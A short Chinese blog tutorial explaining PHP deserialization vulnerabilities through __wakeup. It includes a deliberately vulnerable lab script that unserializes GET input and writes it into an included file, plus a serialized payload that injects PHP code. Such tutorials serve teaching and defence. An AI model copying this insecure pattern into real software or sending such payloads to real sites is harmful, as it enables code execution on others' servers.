值得一看
正规流量卡

PHP反序列化漏洞说明

------正文内容展示,开始汲取新知识啦------

图片[1]-PHP反序列化漏洞说明-使者云

利用__wakeup

unserialize()后会导致 __wakeup()__destruct()的直接调用,中间无需其他过程.

因此最理想的情况就是一些漏洞/危害代码__wakeup()__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们 .

如下实验:

<?php
class test{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("flag.php","w") ;
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>

我们可以通过构造序列化对象,其中test的值设置为 <?php phpinfo();?>,再调用unserialize()时会通过 __wakeup()把test的值的写入到flag.php中,这样当我们访问同目录下的flag.php即可达到实验目的!

序列化字符串如下:

O:7:"test":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}
图片[2]-PHP反序列化漏洞说明-使者云

1 2 3 4 5 6 7

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞1633赞赏 分享
抢沙发

请登录后发表评论

    暂无评论内容